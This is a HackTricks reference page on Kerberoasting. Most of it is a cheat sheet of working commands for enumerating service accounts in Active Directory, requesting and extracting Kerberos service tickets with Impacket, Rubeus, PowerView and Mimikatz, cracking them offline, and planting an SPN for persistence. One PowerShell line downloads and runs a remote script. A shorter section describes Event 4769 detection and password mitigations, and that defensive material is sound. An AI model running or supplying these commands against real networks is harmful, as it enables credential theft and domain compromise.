Kerberoast - HackTricks

# Kerberoast

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Kerberoast

Kerberoasting focuses on the acquisition of TGS tickets, specifically those related to services operating under user accounts in Active Directory (AD), excluding computer accounts. The encryption of these tickets utilizes keys that originate from user passwords, allowing for the possibility of offline credential cracking. The use of a user account as a service is indicated by a non-empty "ServicePrincipalName" property.

For executing Kerberoasting, a domain account capable of requesting TGS tickets is essential; however, this process does not demand special privileges, making it accessible to anyone with valid domain credentials.

### Key Points:

- Kerberoasting targets TGS tickets for user-account services within AD.
- Tickets encrypted with keys from user passwords can be cracked offline.
- A service is identified by a ServicePrincipalName that is not null.
- No special privileges are needed, just valid domain credentials.

### Attack

> [!WARNING] Kerberoasting tools typically request `RC4 encryption` when performing the attack and initiating TGS-REQ requests. This is because RC4 is weaker and easier to crack offline using tools such as Hashcat than other encryption algorithms such as AES-128 and AES-256.
> RC4 (type 23) hashes begin with `$krb5tgs$23$*` while AES-256(type 18) start with `$krb5tgs$18$*``.`

#### Linux

    # Metasploit framework
    msf> use auxiliary/gather/get_user_spns
    # Impacket
    GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
    GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
    # kerberoast: https://github.com/skelsec/kerberoast
    kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
    kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

Multi-features tools including a dump of kerberoastable users:

    # ADenum: https://github.com/SecuProject/ADenum
    adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

#### Windows

- Enumerate Kerberoastable users

    # Get Kerberoastable users
    setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
    Get-NetUser -SPN | select serviceprincipalname #Powerview
    .\Rubeus.exe kerberoast /stats

- Technique 1: Ask for TGS and dump it from memory

    #Get TGS in memory from a single user
    Add-Type -AssemblyName System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

    #Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
    setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

    #List kerberos tickets in memory
    klist

    # Extract them from memory
    Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

    # Transform kirbi ticket to john
    python2.7 kirbi2john.py sqldev.kirbi
    # Transform john to hashcat
    sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat

- Technique 2: Automatic tools

    # Powerview: Get Kerberoast hash of a user
    Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
    # Powerview: Get all Kerberoast hashes
    Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

    # Rubeus
    .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
    .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
    .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

    # Invoke-Kerberoast
    iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
    Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

> [!WARNING] When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

### Cracking

    john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
    hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
    ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

### Persistence

If you have enough permissions over a user you can make it kerberoastable:

     Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast

If you find this error from Linux: `Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)` it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to Security Event ID 4769, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be krbtgt, as this is a normal request.
- Service names ending with $ should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as machine@domain.
- Only successful ticket requests should be considered, identified by a failure code of '0x0'.
- Most importantly, the ticket encryption type should be 0x17, which is often used in Kerberoasting attacks.

    Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

To mitigate the risk of Kerberoasting:

- Ensure that Service Account Passwords are difficult to guess, recommending a length of more than 25 characters.
- Utilize Managed Service Accounts, which offer benefits like automatic password changes and delegated Service Principal Name (SPN) Management, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In September 2022, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform exploit.ph. This method allows for the acquisition of Service Tickets (ST) via a KRB_AS_REQ request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an AS-REP Roasting attack—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the sname attribute within the request's body, the system is deceived into issuing a ST rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: Semperis blog post.

> [!WARNING] You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

#### Linux

- impacket/GetUserSPNs.py from PR #1413:

    GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

#### Windows

- GhostPack/Rubeus from PR #139:

    Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

## References

- https://www.tarlogic.com/blog/how-to-attack-kerberos/
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.